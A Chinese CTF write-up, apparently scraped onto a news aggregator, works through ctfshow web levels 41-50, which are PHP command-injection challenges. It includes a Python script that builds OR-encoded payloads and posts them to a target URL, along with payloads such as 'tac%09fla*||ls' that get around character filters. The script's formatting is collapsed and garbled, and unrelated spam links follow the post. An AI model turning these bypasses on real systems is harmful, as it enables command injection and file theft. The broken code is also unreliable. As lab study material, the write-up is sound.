当前位置: 首页 > news >正文

web入门41-50

web41

分析代码
image
发现过滤了数字字母和一些符号,发现或(|)符号没有禁用,使用或运算表示各种符号,写一个脚本

点击查看代码
import re
import urllib
from urllib import parse
import requestscontents = []
for i in range(256):for j in range(256):hex_i = '{:02x}'.format(i)hex_j = '{:02x}'.format(j)preg = re.compile(r'[0-9]|[a-z]|\^|\+|~|\$|\[|]|\{|}|&|-',re.I)if preg.search(chr(int(hex_i,16))) or preg.search(chr(int(hex_j,16))):continueelse:a = '%' + hex_ib = '%' + hex_jc = chr(int(a[1:],16) | int(b[1:],16))if 32 <= ord(c) <= 126:contents.append([c,a,b])def make_payload(cmd):payload1 = ''payload2 = ''for i in cmd:for j in contents:if i == j[0]:payload1 += j[1]payload2 += j[2]breakpayload = '("' + payload1 + '"|"' + payload2 + '")'return payloadURL = input('请输入URL: ')
payload =make_payload('system') + make_payload('cat flag.php')
response = requests.post(URL, data={'c': urllib.parse.unquote(payload)})
print(response.text)

直接输入URL即可获得flag,https要改成http
image

web42

分析代码
image
不管输入什么命令都不会有回显,可以用分号绕过
?c=cat flag.php;
image

web43

分析代码
image
发现过滤了分号(😉,使用||代替,tac代替cat
?c=tac flag.php||ls
image

web44

分析代码
image
比上一关多禁用了一个flag,使用*代替
?c=tac fla*||ls
image

web45

分析代码
image
多过滤了一个空格,使用%09(Tab键)代替
?c=tac%09fla*||ls
image

web46

分析代码
image
多了对数字和$、*号的过滤,用?代替*号,%09没有被过滤是因为在传送过程中被url解码变成了\t(制表符Tab),所以不会被过滤
?c=tac%09fla?.php||ls
image

web47

分析代码
image
只比上一关多过滤了几个查看文件的方法但没有禁用tac,继续用上一关的payload
image

web48

分析代码
image
还是没有禁用tac,继续用上一关的payload
image

web49

分析代码
image
发现禁用了%号,但不会影响,继续使用上一关的payload,因为%09会被解码所以同理也检测不出来%号
image

web50

分析代码
image
禁用了%09,使用<代替,不知道为什么?不能使用,用\来代替
?c=tac<fl\ag.php||ls
image

http://www.jsqmd.com/news/258224/

相关文章:

  • 2026必备!9个AI论文写作软件,MBA毕业论文轻松搞定!
  • 2025年市场排行前列的清障车专业厂家哪个好,落地清障车/拖吊联体清障车/蓝牌重载清障车,清障车品牌排行榜 - 品牌推荐师
  • 基于滑模变结构观测器的失磁故障容错补偿策略在永磁同步电机控制中的应用
  • 巧用FX3U实现多种变频器控制:从原理到实操
  • 大模型回答:Typora是哪个国家的软件?
  • 小米15堆叠桌面APK
  • 2025苏州恒温恒湿箱新排行,高端品质引领行业潮流!砂尘试验箱/淋雨试验箱/恒温恒湿房,恒温恒湿箱源头厂家有哪些 - 品牌推荐师
  • 【2026最新 架构环境安装篇二】Docker安装MySQL8详细教程
  • 2026年知名的AI搜索优化专业公司推荐,南方网通不容错过 - 工业品牌热点
  • 2026年金属衣架厂家权威推荐榜单:塑料衣架/铁制衣架/铝合金衣架/木衣架/不锈钢衣架源头厂家精选 - 品牌推荐官
  • 【图像加密解密】基于matlab椭圆曲线密码学和希尔密码算法图像加密和解密【含Matlab源码 14967期】
  • 医疗网页项目怎么用vue实现文件夹上传?
  • 企业AI智能体官网哪家性能强,值得推荐的有哪些? - 工业品牌热点
  • 【图像加密解密】基于matlab混沌系统和DNA编码运算的图像分块加密解密【含Matlab源码 14964期】
  • CF1684F Diverse Segments
  • 【图像加密解密】基于matlab离散小波变换的水印方法和混沌映射加密解密【含Matlab源码 14965期】
  • 国防项目OA系统如何用UEDITOR实现复杂公式导入与编辑?
  • 【图像加密解密】基于matlab逻辑映射序列和线性反馈移位寄存器的状态序列生成的混沌密钥序列图像加密和解密【含Matlab源码 14966期】
  • 救命神器8个AI论文软件,自考学生搞定毕业论文必备!
  • 【图像加密解密】混沌系统和DNA编码运算的图像分块加密解密【含Matlab源码 14964期】
  • 【图像加密解密】离散小波变换的水印方法和混沌映射加密解密【含Matlab源码 14965期】
  • 【图像加密解密】逻辑映射序列和线性反馈移位寄存器的状态序列生成的混沌密钥序列图像加密和解密【含Matlab源码 14966期】
  • 【图像加密解密】椭圆曲线密码学和希尔密码算法图像加密和解密【含Matlab源码 14967期】
  • 【RabbitMQ】幂等性保障 顺序性保障 消息积压问题
  • 学术探险家必备:书匠策AI如何重塑本科论文写作的“游戏规则”
  • 学术新次元:书匠策AI如何用“黑科技”重塑本科论文写作
  • 学术探险家的秘密武器:书匠策AI解锁本科论文写作新次元
  • 学术变形记:书匠策AI如何让本科论文写作从“地狱模式”秒变“创意游乐场”
  • 学术航行新伙伴:书匠策AI——本科论文写作的“全能舵手”
  • Maven简介之什么是Maven